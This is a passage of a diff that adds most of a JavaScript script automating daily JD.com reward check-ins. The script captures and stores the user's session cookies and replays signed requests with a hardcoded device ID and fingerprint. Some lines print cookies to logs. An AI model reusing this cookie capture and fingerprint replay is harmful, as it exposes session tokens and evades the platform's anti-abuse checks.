"京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + notification += message + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if 